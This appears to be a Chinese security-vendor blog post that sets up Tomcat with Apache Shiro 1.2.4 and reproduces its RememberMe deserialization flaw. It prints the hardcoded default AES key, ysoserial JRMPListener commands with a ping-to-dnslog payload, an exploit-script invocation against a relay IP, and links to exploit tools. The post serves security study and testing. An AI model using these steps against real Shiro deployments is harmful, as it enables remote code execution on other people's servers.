提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      Apache Shiro环境搭建及反序列化漏洞复现
      发布时间:2021-05-06 阅读次数: 277 次

      环境搭建


      Windows 10 64位

      Apache Tomcat

      Apache Shiro 1.2.4

      Oracle JDK 1.8


      下载Apache Tomcat,这里下载的是8.5.59的版本

      http://tomcat.apache.org/download-80.cgi




      下载完成后直接解压,然后到bin目录下双击运行startup.bat启动tomcat。这里注意8080端口不要占用了,否则会启动失败。启动成功后直接访问http://127.0.0.1:8080




      出现以下界面为启动成功




      下载Apache Shiro 1.2.4的war包:

      https://pan.baidu.com/s/1dSHR21IQbrLHpaSQ1TI23A提取码:zg4h。下载完成后解压部署在tomcat的webapps目录下




      访问http://127.0.0.1:8080/shiro/login.jsp,shiro部署成功




      Apache Shiro 1.2.4反序列化漏洞复现


      漏洞介绍:


      Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。


      在服务端接收cookie值时,按照如下步骤来解析处理:


      1、检索RememberMe cookie 的值

      2、Base 64解码

      3、使用AES解密(加密密钥硬编码)

      4、进行反序列化操作(未作过滤处理)


      在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。


      由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。


      尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。


      漏洞复现:


      进行登录操作,http://192.168.99.145:8080/shiro/login.jsp


      Burpsuite抓包,可以在返回包头部信息中看到rememberMe=deleteMe指纹信息


      下载exp和ysoserial,

      https://github.com/insightglacier/Shiro_exploit


      将ysoserial复制到跳板机上,在跳板机上运行命令:java -cpysoserial.jar ysoserial.exploit.JRMPListener 12580 CommonsCollections4"ping zle58m.dnslog.cn",监听12580端口


      在攻击机上运行脚本:python2 shiro_exp.py 121.196.124.61:12580,IP端口为上述跳板机的ip和监听端口,运行成功即生成反序列化payload


      将payload复制到burpsuite的cookie请求头中,重放请求


      可以看到跳板机监听端口上收到请求


      Dnslog成功输出记录


      也可以直接用github上的漏洞利用工具进行直接利用:https://github.com/lz520520/railgun

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部